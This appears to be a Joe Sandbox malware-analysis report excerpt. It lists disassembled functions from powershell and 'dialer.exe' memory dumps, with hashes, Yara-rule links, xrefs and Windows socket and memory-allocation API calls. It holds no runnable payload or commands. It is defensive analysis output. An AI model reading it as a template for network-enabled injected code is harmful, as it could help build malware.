Source File: 00000005.00000002.2538181363.0000000002DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2da0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef1967f4abcb66e41401542c6dd35396dc78380a1d6ac82fa9f8bccbcaac9ee8
Instruction ID: 41dfafea8c034bcb2bd039ee6c8493995f9091a1c431201cf91531ccd9112de1
Opcode Fuzzy Hash: ef1967f4abcb66e41401542c6dd35396dc78380a1d6ac82fa9f8bccbcaac9ee8
Instruction Fuzzy Hash: 31F0B431A00108EFCB14CF98DC849AEF775FF88324B248669D859A7690CB36AC13CB51

Non-executed Functions

Function 07311968 Relevance: 15.5, Strings: 12, Instructions: 455COMMON

Download Yara Rule

Strings

$jq, xrefs: 07311A7A
4'jq, xrefs: 07311E0E
4'jq, xrefs: 07311AE0
4'jq, xrefs: 07311E02
$jq, xrefs: 07311DBB
4'jq, xrefs: 07311AEC
$jq, xrefs: 07311DD7
4'jq, xrefs: 07311C8B
$jq, xrefs: 07311A3E
4'jq, xrefs: 07311C7F
$jq, xrefs: 07311A86
$jq, xrefs: 07311DE3

Memory Dump Source

Source File: 00000005.00000002.2547156823.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7310000_powershell.jbxd

Similarity

API ID:
String ID: 4'jq$4'jq$4'jq$4'jq$4'jq$4'jq$$jq$$jq$$jq$$jq$$jq$$jq
API String ID: 0-3488220606
Opcode ID: d6a908f2b93a59652cb85b443aedabe472dec4c96b2a153ca86acdbecc486aee
Instruction ID: 63fc68d0cf74fc566e4de1e5edb0d087d49d0b2a3261518a9d66547410316506
Opcode Fuzzy Hash: d6a908f2b93a59652cb85b443aedabe472dec4c96b2a153ca86acdbecc486aee
Instruction Fuzzy Hash: 7CE12AB170424A9FEB198B78C4106FABFB6EFC2311F1484AAD649CB291DB35C945C7A1

Function 0731CAC8 Relevance: 11.7, Strings: 9, Instructions: 454COMMON

Download Yara Rule

Strings

4'jq, xrefs: 0731CD65
4'jq, xrefs: 0731CBA9
$jq, xrefs: 0731CEFF
4'jq, xrefs: 0731CF5D
4'jq, xrefs: 0731CF69
$jq, xrefs: 0731CEEF
$jq, xrefs: 0731CECE
4'jq, xrefs: 0731CBB5
4'jq, xrefs: 0731CD59

Memory Dump Source

Source File: 00000005.00000002.2547156823.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7310000_powershell.jbxd

Similarity

API ID:
String ID: 4'jq$4'jq$4'jq$4'jq$4'jq$4'jq$$jq$$jq$$jq
API String ID: 0-1071302482
Opcode ID: e54b4ba25c56af8bcd09f8935824d5c46e037d44b1055e75c01d23d825c27df0
Instruction ID: 9f7885678513cba5a380e9d7b7bd488097b6f2fcae168bc2e6ed40ad42ac8fe5
Opcode Fuzzy Hash: e54b4ba25c56af8bcd09f8935824d5c46e037d44b1055e75c01d23d825c27df0
Instruction Fuzzy Hash: 59E107F1B842159FEB19CF68C4507AABBA6EF86210F14D0AAD809CF651DB35CC45C7B2

Function 0731D970 Relevance: 10.3, Strings: 8, Instructions: 298COMMON

Download Yara Rule

Strings

84l, xrefs: 0731DB13
84l, xrefs: 0731DA17
84l, xrefs: 0731DB1F
tPjq, xrefs: 0731DA5F
tPjq, xrefs: 0731DB70
84l, xrefs: 0731DA0D
tPjq, xrefs: 0731DB7C
tPjq, xrefs: 0731DA6B

Memory Dump Source

Source File: 00000005.00000002.2547156823.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7310000_powershell.jbxd

Similarity

API ID:
String ID: 84l$84l$84l$84l$tPjq$tPjq$tPjq$tPjq
API String ID: 0-2201647080
Opcode ID: 8fed3c64fded5ebd4b99d68ac3fd5f9ea51fdf5c802d5bdf6ea9f283825ee19d
Instruction ID: 74ad05797d8e2169160cf49a437ed372082b2731a460293404ebe3b063b49ce1
Opcode Fuzzy Hash: 8fed3c64fded5ebd4b99d68ac3fd5f9ea51fdf5c802d5bdf6ea9f283825ee19d
Instruction Fuzzy Hash: 49B105B1B102159FD718DF688940A6ABBE6EFCA310F15C86AE8099F391CB71DC05C7E1

Function 0731E988 Relevance: 9.2, Strings: 7, Instructions: 482COMMON

Download Yara Rule

Strings

$jq, xrefs: 0731E99A
$jq, xrefs: 0731E9CC
4'jq, xrefs: 0731EBF9
$jq, xrefs: 0731E9C0
tPjq, xrefs: 0731EA05
4'jq, xrefs: 0731EBEF
tPjq, xrefs: 0731EA11

Memory Dump Source

Source File: 00000005.00000002.2547156823.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7310000_powershell.jbxd

Similarity

API ID:
String ID: 4'jq$4'jq$tPjq$tPjq$$jq$$jq$$jq
API String ID: 0-2919996211
Opcode ID: 88aa6b8a340731dabc3f3fafd63605ad7f798e7895412a9cb5b080333f136dca
Instruction ID: 44d8ab4c55b933a9b963b05386f086c69e4b7c19bfe4acc8b47ab0a62a6d2c30
Opcode Fuzzy Hash: 88aa6b8a340731dabc3f3fafd63605ad7f798e7895412a9cb5b080333f136dca
Instruction Fuzzy Hash: D8F14BB27442158FEB189B68880176ABBF5EFC5312F18C47ADC09CB651DB36CD45C7A2

Function 07310528 Relevance: 7.7, Strings: 6, Instructions: 186COMMON

Download Yara Rule

Strings

$jq, xrefs: 073106F4
$jq, xrefs: 073105C3
$jq, xrefs: 0731057F
$jq, xrefs: 073105B7
4'jq, xrefs: 07310604
4'jq, xrefs: 073105F8

Memory Dump Source

Source File: 00000005.00000002.2547156823.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7310000_powershell.jbxd

Similarity

API ID:
String ID: 4'jq$4'jq$$jq$$jq$$jq$$jq
API String ID: 0-210473685
Opcode ID: b17de8d117e52493b4c963c1f5ee9ebd1653aed5f1c83e245cfafdf55f246bc4
Instruction ID: ccc9cfec8a66f1e7f30bc3065ff09bc530a152d06f8f57221f2160acf20e2fac
Opcode Fuzzy Hash: b17de8d117e52493b4c963c1f5ee9ebd1653aed5f1c83e245cfafdf55f246bc4
Instruction Fuzzy Hash: 545137F57043168FEB2D8A69C81067BBBFAEFC2211F14847BD849CB255DA31C885C7A1

Function 07316C68 Relevance: 6.4, Strings: 5, Instructions: 108COMMON

Download Yara Rule

Strings

$jq, xrefs: 07316CE1
$jq, xrefs: 07316CC5
$jq, xrefs: 07316DDE
4'jq, xrefs: 07316E13
tPjq, xrefs: 07316D63

Memory Dump Source

Source File: 00000005.00000002.2547156823.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7310000_powershell.jbxd

Similarity

API ID:
String ID: 4'jq$tPjq$$jq$$jq$$jq
API String ID: 0-728028659
Opcode ID: f6af3197b8e65f422385abc8433b71aeda0fd9cbaa2962397c318401c36a7464
Instruction ID: 6025f2d7ac09215c878fe78c89a884d0f7e6599f858dff63c225f9a63ce683e5
Opcode Fuzzy Hash: f6af3197b8e65f422385abc8433b71aeda0fd9cbaa2962397c318401c36a7464
Instruction Fuzzy Hash: 8C31A6F2A00215DFFB2C8E85C642766B7F6EB45360F18C1A9D91D5B291CF72D850CBA1

Function 0731C810 Relevance: 5.2, Strings: 4, Instructions: 191COMMON

Download Yara Rule

Strings

4l, xrefs: 0731C8D1
4'jq, xrefs: 0731C9E5
4'jq, xrefs: 0731C9D9
4l, xrefs: 0731C8C7

Memory Dump Source

Source File: 00000005.00000002.2547156823.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7310000_powershell.jbxd

Similarity

API ID:
String ID: 4'jq$4'jq$4l$4l
API String ID: 0-4178271061
Opcode ID: 54a89c1a6ec8ed2ccd6d9a37ce880761903f5a80d0e0be74ca811a1385dff233
Instruction ID: 530e610530bb1986c4ffbcc055f3d94144debf916887a7a4533001cf7e7a219d
Opcode Fuzzy Hash: 54a89c1a6ec8ed2ccd6d9a37ce880761903f5a80d0e0be74ca811a1385dff233
Instruction Fuzzy Hash: 8761C5B0B402059FE718CB68C550B6EBBE6EF89710F149429D809AF754DB36DC41CBA2

Function 0731D96F Relevance: 5.2, Strings: 4, Instructions: 170COMMON

Download Yara Rule

Strings

84l, xrefs: 0731DB13
tPjq, xrefs: 0731DA5F
tPjq, xrefs: 0731DB70
84l, xrefs: 0731DA0D

Memory Dump Source

Source File: 00000005.00000002.2547156823.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7310000_powershell.jbxd

Similarity

API ID:
String ID: 84l$84l$tPjq$tPjq
API String ID: 0-2327125206
Opcode ID: a95df19cc4394e04586b9cf9ee1475d9b8bace5bc52fac21d56934d2e09a92a1
Instruction ID: e555e48298ec54f3fb35ad4839b7d2ce91a80f05380f16b2b6a41e63507afb60
Opcode Fuzzy Hash: a95df19cc4394e04586b9cf9ee1475d9b8bace5bc52fac21d56934d2e09a92a1
Instruction Fuzzy Hash: 9D5193B5B20215DFEB28CE58C540B6AF7E6BF8A310F15C559E809AB790CB71EC41CB90

Function 07312198 Relevance: 5.2, Strings: 4, Instructions: 153COMMON

Download Yara Rule

Strings

tPjq, xrefs: 0731222A
tPjq, xrefs: 0731221E
84l, xrefs: 073121C3
84l, xrefs: 073121CF

Memory Dump Source

Source File: 00000005.00000002.2547156823.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7310000_powershell.jbxd

Similarity

API ID:
String ID: 84l$84l$tPjq$tPjq
API String ID: 0-2327125206
Opcode ID: f03c1769be3f73e43598710b4ce2264e70428118df631a50efc77624ec577d79
Instruction ID: 600b6cdd253ca053c998f724a374df7bc2b28714d6923372e50ff6af980967cd
Opcode Fuzzy Hash: f03c1769be3f73e43598710b4ce2264e70428118df631a50efc77624ec577d79
Instruction Fuzzy Hash: 31416BB17043599FD7294B698C00B2BBFE6FF8A710F1584AAE948DF291CA31CC41C3A1

Function 07310858 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

$jq, xrefs: 07310886
$jq, xrefs: 073108B4
$jq, xrefs: 0731086A
$jq, xrefs: 073108C0

Memory Dump Source

Source File: 00000005.00000002.2547156823.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7310000_powershell.jbxd

Similarity

API ID:
String ID: $jq$$jq$$jq$$jq
API String ID: 0-2428501249
Opcode ID: 34627e013b3d47e2394d1eb90f785f9bc865ba9cb774503730e6cc9b378f1b51
Instruction ID: 1ad7090ea8e0e8950be8c12541ea5be25fa85cc98ca4eed044f6998c4b8568aa
Opcode Fuzzy Hash: 34627e013b3d47e2394d1eb90f785f9bc865ba9cb774503730e6cc9b378f1b51
Instruction Fuzzy Hash: 402137B13183065BFB2C596A895073B77EAEBC5711F20842AE90DDB795CD36C88183A1

Function 0731703C Relevance: 5.1, Strings: 4, Instructions: 83COMMON

Download Yara Rule

Strings

$jq, xrefs: 073170CB
$jq, xrefs: 073170F3
$jq, xrefs: 073170AF
$jq, xrefs: 0731710F

Memory Dump Source

Source File: 00000005.00000002.2547156823.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7310000_powershell.jbxd

Similarity

API ID:
String ID: $jq$$jq$$jq$$jq
API String ID: 0-2428501249
Opcode ID: b50c69f343f0ba8328f2f21c112fb6449cb2e59cacd91858e9336ff62ee6af7c
Instruction ID: f1d61e1c885a21358e69ed9e4869d5816a7bb542da4e7aa96da469c80e927618
Opcode Fuzzy Hash: b50c69f343f0ba8328f2f21c112fb6449cb2e59cacd91858e9336ff62ee6af7c
Instruction Fuzzy Hash: 3F21C4F6A043079FEB398E65CD002A6BBB5BF46250F1D407AD84D87242D735C985C7A3

Function 07311238 Relevance: 5.0, Strings: 4, Instructions: 46COMMON

Download Yara Rule

Strings

4'jq, xrefs: 073112AF
$jq, xrefs: 0731128E
$jq, xrefs: 07311282
4'jq, xrefs: 073112A3

Memory Dump Source

Source File: 00000005.00000002.2547156823.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7310000_powershell.jbxd

Similarity

API ID:
String ID: 4'jq$4'jq$$jq$$jq
API String ID: 0-1496060811
Opcode ID: 62c38c2eea934cf7a7b27fc79999b4d9d038a5833061911a461f7c6489369b07
Instruction ID: 7b2b6610da0c140cfc7995a73a4ffddf519d954972148c904a279f37f0cd7b97
Opcode Fuzzy Hash: 62c38c2eea934cf7a7b27fc79999b4d9d038a5833061911a461f7c6489369b07
Instruction Fuzzy Hash: EF01D46134D39E8FD72B163858201AA7FB69FC351032A00EBC585DF2E7C9698D46C367

Analysis Process: dialer.exePID: 1048, Parent PID: 1028COMMON

Execution Graph

Execution Coverage:	2.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	1.5%
Total number of Nodes:	1579
Total number of Limit Nodes:	17

Executed Functions

Function 05949F64 Relevance: 12.1, APIs: 8, Instructions: 122
networkregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 05949F7B
memset.MSVCRT ref: 05949FC7
WSARecv.WS2_32(FFE0458D,00000000,00000001,?,00000000,059421F9,00000000), ref: 05949FF5
GetLastError.KERNEL32(?,?,?,?,?,00000001), ref: 0594A01F
WSAGetLastError.WS2_32(?,?,?,?,?,00000001), ref: 0594A02C
WSAGetLastError.WS2_32(?,?,?,?,?,00000001), ref: 0594A036
WSAGetLastError.WS2_32(?,?,?,?,?,00000001), ref: 0594A03E
RegisterWaitForSingleObject.KERNEL32(05942219,30C48300,05949EAD,059421E9,000000FF,00000004), ref: 0594A088

Memory Dump Source

Source File: 00000009.00000002.3339874857.0000000005941000.00000020.00001000.00020000.00000000.sdmp, Offset: 05941000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5941000_dialer.jbxd

Yara matches

Similarity

API ID: ErrorLast$memset$ObjectRecvRegisterSingleWait
String ID:
API String ID: 2020750497-0
Opcode ID: 0a64cb8a126250f30a1502bfde67f5a83319afb9ebd883c22d0dc2fe9da33b52
Instruction ID: 1e47c46287ac3ecfbcf8ebf7d6d8a825d763bf34f10d97b5689869f764280d24
Opcode Fuzzy Hash: 0a64cb8a126250f30a1502bfde67f5a83319afb9ebd883c22d0dc2fe9da33b52
Instruction Fuzzy Hash: CF419A31644604EFE721DF64C849FAABBF9FF06310F108A29E952E6590D774EA08CF91

Function 05949A57 Relevance: 10.6, APIs: 7, Instructions: 64
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

socket.WS2_32(00000010,00000001,00000000), ref: 05949A6C
WSAGetLastError.WS2_32(?,?,?,05949A53,0594AD04,00000002,0594AD04,00000010,0594AD04,0594AD81), ref: 05949A79

Part of subcall function 05949B02: ioctlsocket.WS2_32(0594AD04,8004667E,0594AD81), ref: 05949B1D
Part of subcall function 05949B02: WSAGetLastError.WS2_32(?,?,05949AC7,17E80870,0594AD04,00000000,00000010,00000000,?,?,?,05949A53,0594AD04,00000002,0594AD04,00000010), ref: 05949B28

SetHandleInformation.KERNEL32(00000000,00000001,00000000,?,?,?,05949A53,0594AD04,00000002,0594AD04,00000010,0594AD04,0594AD81), ref: 05949A94
GetLastError.KERNEL32(?,?,?,05949A53,0594AD04,00000002,0594AD04,00000010,0594AD04,0594AD81), ref: 05949A9E
closesocket.WS2_32(00000000), ref: 05949AB0
bind.WS2_32(50A5A5A5,0594AD04,00000002), ref: 05949AD7
WSAGetLastError.WS2_32(?,?,?,05949A53,0594AD04,00000002,0594AD04,00000010,0594AD04,0594AD81), ref: 05949AE2

Memory Dump Source

Source File: 00000009.00000002.3339874857.0000000005941000.00000020.00001000.00020000.00000000.sdmp, Offset: 05941000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5941000_dialer.jbxd

Yara matches

Similarity

API ID: ErrorLast$HandleInformationbindclosesocketioctlsocketsocket
String ID:
API String ID: 2417539845-0
Opcode ID: fdc2722fd71fa259388d441b876251b8e8d16f3c44ba7cdde5be049254ec7d9c
Instruction ID: 40abbd6a80e8cc87ad98bbaf2e213cf5c7af19003137b89ba156a7d63ff9fc00
Opcode Fuzzy Hash: fdc2722fd71fa259388d441b876251b8e8d16f3c44ba7cdde5be049254ec7d9c
Instruction Fuzzy Hash: B8119D31208600EBDB215F74EC0AF6B7FAABB42731F10462CF622A50E0DB71AC449F21

Function 032B02D4 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 167memoryfileCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004,00000000,?,?), ref: 032B031C

Part of subcall function 032B00A0: VirtualAlloc.KERNELBASE(00000000,00001012,00001000,00000004), ref: 032B00C9
Part of subcall function 032B00A0: VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 032B0275

VirtualAlloc.KERNELBASE(00000000,00400000,00001000,00000004), ref: 032B036E
VirtualProtect.KERNELBASE(0000002C,?,00000040,?), ref: 032B03DD
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 032B03FD
MapViewOfFile.KERNELBASE(?,00000004,00000000,00000000,00000000), ref: 032B0424
VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 032B044C
CloseHandle.KERNELBASE(?), ref: 032B0467

Strings

,, xrefs: 032B034C

Memory Dump Source

Source File: 00000009.00000003.2576468383.00000000032B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 032B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_3_32b0000_dialer.jbxd

Similarity

API ID: Virtual$Alloc$Free$CloseFileHandleProtectView
String ID: ,
API String ID: 3867569247-3772416878
Opcode ID: 82e5e3048abb205ecfbadfcc4accb215ed5bf30bd6965aeddf34148881449b51
Instruction ID: ce7cb0b5bc27983b470169f518ab46f91fc1a27f16cc0054d09480c891139d1f
Opcode Fuzzy Hash: 82e5e3048abb205ecfbadfcc4accb215ed5bf30bd6965aeddf34148881449b51
Instruction Fuzzy Hash: 1D51DE75910609EFCB11DFA5C884ADEBBB8FF08354F14C529F955A7240D770E985CB60

Function 05948AAD Relevance: 13.6, APIs: 9, Instructions: 99
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00008003), ref: 05948AB2
WSAStartup.WS2_32(00000202,?), ref: 0594AEA0

Part of subcall function 0594AC49: memset.MSVCRT ref: 0594AC59
Part of subcall function 0594AC49: htons.WS2_32(00000002), ref: 0594AC6A
Part of subcall function 0594AC49: inet_addr.WS2_32(?), ref: 0594AC77

Part of subcall function 0594AC90: memset.MSVCRT ref: 0594ACA0
Part of subcall function 0594AC90: htons.WS2_32(?), ref: 0594ACB1

socket.WS2_32(00000002,00000001,00000000), ref: 0594AEED
getsockopt.WS2_32(00000000,0000FFFF,00002005,?,?), ref: 0594AF1E
closesocket.WS2_32(00000000), ref: 0594AF31
WSAGetLastError.WS2_32 ref: 0594AF39
socket.WS2_32(00000017,00000001,00000000), ref: 0594AF4E
closesocket.WS2_32(00000000), ref: 0594AF83
WSAGetLastError.WS2_32 ref: 0594AF8B

Memory Dump Source

Source File: 00000009.00000002.3339874857.0000000005941000.00000020.00001000.00020000.00000000.sdmp, Offset: 05941000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5941000_dialer.jbxd

Yara matches

Similarity

API ID: Error$Lastclosesockethtonsmemsetsocket$ModeStartupgetsockoptinet_addr
String ID:
API String ID: 2777411211-0
Opcode ID: bdb2f23ecabe28f3b1677ee2a96fdae00c97682a1c9e99406dcaf4d973bf4cd4
Instruction ID: 797ba9ca8b6a71a94bbeaf6e12717ba0aec14445beed85086d3c205093aa9550
Opcode Fuzzy Hash: bdb2f23ecabe28f3b1677ee2a96fdae00c97682a1c9e99406dcaf4d973bf4cd4
Instruction Fuzzy Hash: 7831A9B1258305EBE220EE649C8EFAB7B9EFB85720F40061EF515971C0DB75AD089F61

Function 0594A387 Relevance: 10.7, APIs: 7, Instructions: 157
networkregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 0594A3AE
memset.MSVCRT ref: 0594A3BA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,0594427C,00000000,00000000,05944237,00000000), ref: 0594A3CC
WSASend.WS2_32(?,0594427C,?,00000000,00000000,00000010,00000000), ref: 0594A3F1
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0594A44A
WSAGetLastError.WS2_32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0594A457
RegisterWaitForSingleObject.KERNEL32(00000048,?,0594A51C,00000000,000000FF,0000000C), ref: 0594A4E3

Memory Dump Source

Source File: 00000009.00000002.3339874857.0000000005941000.00000020.00001000.00020000.00000000.sdmp, Offset: 05941000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5941000_dialer.jbxd

Yara matches

Similarity

API ID: ErrorLastmemset$CreateEventObjectRegisterSendSingleWait
String ID:
API String ID: 2712206520-0
Opcode ID: 56a27ee1a7a4ad5a3f3570b18393f707ed9a947d50960297b859fc585c4e4e56
Instruction ID: 55ba65321c3f2f7945dff7215107619c77814ed5425e0f5de3a47c99982d5cfe
Opcode Fuzzy Hash: 56a27ee1a7a4ad5a3f3570b18393f707ed9a947d50960297b859fc585c4e4e56
Instruction Fuzzy Hash: 62517EB1504A06AFD724CF24C984E66BBFAFF09358B00562DE95687A50D730FC59CF90

Function 05949B02 Relevance: 7.6, APIs: 5, Instructions: 94
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ioctlsocket.WS2_32(0594AD04,8004667E,0594AD81), ref: 05949B1D
WSAGetLastError.WS2_32(?,?,05949AC7,17E80870,0594AD04,00000000,00000010,00000000,?,?,?,05949A53,0594AD04,00000002,0594AD04,00000010), ref: 05949B28
CreateIoCompletionPort.KERNELBASE(0594AD04,19751710,0594AD04,00000000,?,?,05949AC7,17E80870,0594AD04,00000000,00000010,00000000,?,?,?,05949A53), ref: 05949B48
SetFileCompletionNotificationModes.KERNEL32(0594AD04,00000003,?,?,05949AC7,17E80870,0594AD04,00000000,00000010,00000000,?,?,?,05949A53,0594AD04), ref: 05949B8A

Memory Dump Source

Source File: 00000009.00000002.3339874857.0000000005941000.00000020.00001000.00020000.00000000.sdmp, Offset: 05941000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5941000_dialer.jbxd

Yara matches

Similarity

API ID: Completion$CreateErrorFileLastModesNotificationPortioctlsocket
String ID:
API String ID: 3397353003-0
Opcode ID: cbcb82adbc461a3e00964df8989fc8805346c8653879fe55e2be1446c9e15501
Instruction ID: 6a3b164e1c4885658b35556d482fd781b5dc0643e4e6c52c1419d16a88cbaee1
Opcode Fuzzy Hash: cbcb82adbc461a3e00964df8989fc8805346c8653879fe55e2be1446c9e15501
Instruction Fuzzy Hash: F1318171518205EBDB219E659C89F673BAEFF41294F144529FA43921C0EB70ED44CF61

Function 0594A0C0 Relevance: 4.6, APIs: 3, Instructions: 136
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000009.00000002.3339874857.0000000005941000.00000020.00001000.00020000.00000000.sdmp, Offset: 05941000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5941000_dialer.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ab7ae3f564c6ca089a087417e4eebc4dac5dc145463ca083a69173d88c6c3e2
Instruction ID: aacfb45f51454ccb6085092e801a1dae4acb29310deb0cfbfcaf666891440575
Opcode Fuzzy Hash: 2ab7ae3f564c6ca089a087417e4eebc4dac5dc145463ca083a69173d88c6c3e2
Instruction Fuzzy Hash: 38418DB15442019FDB14CF25C884FA2B7BAFF49328F448569ED168F296EB31E845CFA0

Function 0594AA5B Relevance: 4.6, APIs: 3, Instructions: 119
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

shutdown.WS2_32(D7FF5605,00000001), ref: 0594AA7E
closesocket.WS2_32(?), ref: 0594AAD4
closesocket.WS2_32(D7FF5605), ref: 0594AB4D

Memory Dump Source

Source File: 00000009.00000002.3339874857.0000000005941000.00000020.00001000.00020000.00000000.sdmp, Offset: 05941000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5941000_dialer.jbxd

Yara matches

Similarity

API ID: closesocket$shutdown
String ID:
API String ID: 3079814495-0
Opcode ID: 40455434e0ec4754dbb3a1779fb2bd6ee4852f256e5686d92bed9765dfbaccb3
Instruction ID: fa6b78b2c1ac1772a6b0f0425b3156e7d7cfe1e20b41115fc7523aa5d5a299a1
Opcode Fuzzy Hash: 40455434e0ec4754dbb3a1779fb2bd6ee4852f256e5686d92bed9765dfbaccb3
Instruction Fuzzy Hash: 05413A70694B018FEB358E65C544FA6B7EFFB01365F044A1DE89296AA0D730EC46CF40

Function 0594A983 Relevance: 3.1, APIs: 2, Instructions: 86
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

setsockopt.WS2_32(?,0000FFFF,00007010,00000000,00000000), ref: 0594A9D7
WSAGetLastError.WS2_32(?,05948D2F,00000000,00000000,?,00000000,00000000,00000000,05948BB0,00000000,?,00000000,05942CE1,?,00000000,?), ref: 0594A9FF

Memory Dump Source

Source File: 00000009.00000002.3339874857.0000000005941000.00000020.00001000.00020000.00000000.sdmp, Offset: 05941000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5941000_dialer.jbxd

Yara matches

Similarity

API ID: ErrorLastsetsockopt
String ID:
API String ID: 1729277954-0
Opcode ID: b780ec6b5c8d052eeb8f1a9fd8505952942680403d68fbf312a499e9175a67bf
Instruction ID: 6ea378f058572525c0cc4f64ba22c32ad26199fab38b8a115259974958ff77c5
Opcode Fuzzy Hash: b780ec6b5c8d052eeb8f1a9fd8505952942680403d68fbf312a499e9175a67bf
Instruction Fuzzy Hash: D7316B70248701AFDB20DF25C984E6AB7BAFF49364B048619FC5A97681C730FC118FA4

Function 032B00A0 Relevance: 2.7, APIs: 2, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,00001012,00001000,00000004), ref: 032B00C9
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 032B0275

Memory Dump Source

Source File: 00000009.00000003.2576468383.00000000032B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 032B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_3_32b0000_dialer.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 7dc8e79fde86babc96161718fc4e5f80a5398d7d893a888eaa0e52eee754c683
Instruction ID: 3a1b7360a53d53a6a31af5b58a434d78c18e66af299ab4f928fed63124037965
Opcode Fuzzy Hash: 7dc8e79fde86babc96161718fc4e5f80a5398d7d893a888eaa0e52eee754c683
Instruction Fuzzy Hash: B5718D71D2424A9FDB42CF98C981BEEBBF0AB09354F188095E4A5F7241C374AA95CF64

Function 0594F03C Relevance: 2.6, APIs: 2, Instructions: 82
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

free.MSVCRT(74C08559,74C08559,0000414D,00000000,?,00000000,05944237,05944300,05944237,00000000,0594429A,?,00000000,05944237,00000000,05944361), ref: 0594F086
strlen.MSVCRT ref: 0594F0EC

Memory Dump Source

Source File: 00000009.00000002.3339874857.0000000005941000.00000020.00001000.00020000.00000000.sdmp, Offset: 05941000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5941000_dialer.jbxd

Yara matches

Similarity

API ID: freestrlen
String ID:
API String ID: 322734593-0
Opcode ID: 27a049ef2d069cbdb3e8afd81a67b79dcaab8a1337f5346a11ddf271edd31fda
Instruction ID: d483f3b060e3b6767c250b15a7a0c3db7972bfe60c117b6812d4dea5c0987237
Opcode Fuzzy Hash: 27a049ef2d069cbdb3e8afd81a67b79dcaab8a1337f5346a11ddf271edd31fda
Instruction Fuzzy Hash: 1F214C31208705ABDB31BB39EE45E5B77EDFF80714B454829E486A2A60DB22FC109E21

Function 059446ED Relevance: 2.5, APIs: 2, Instructions: 38
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 059446F4
memset.MSVCRT ref: 0594470A

Part of subcall function 0594E798: memset.MSVCRT ref: 0594E7A3

Part of subcall function 0594E7AC: calloc.MSVCRT(00000001,0000414D), ref: 0594E7CF

Memory Dump Source

Source File: 00000009.00000002.3339874857.0000000005941000.00000020.00001000.00020000.00000000.sdmp, Offset: 05941000, based on PE: false

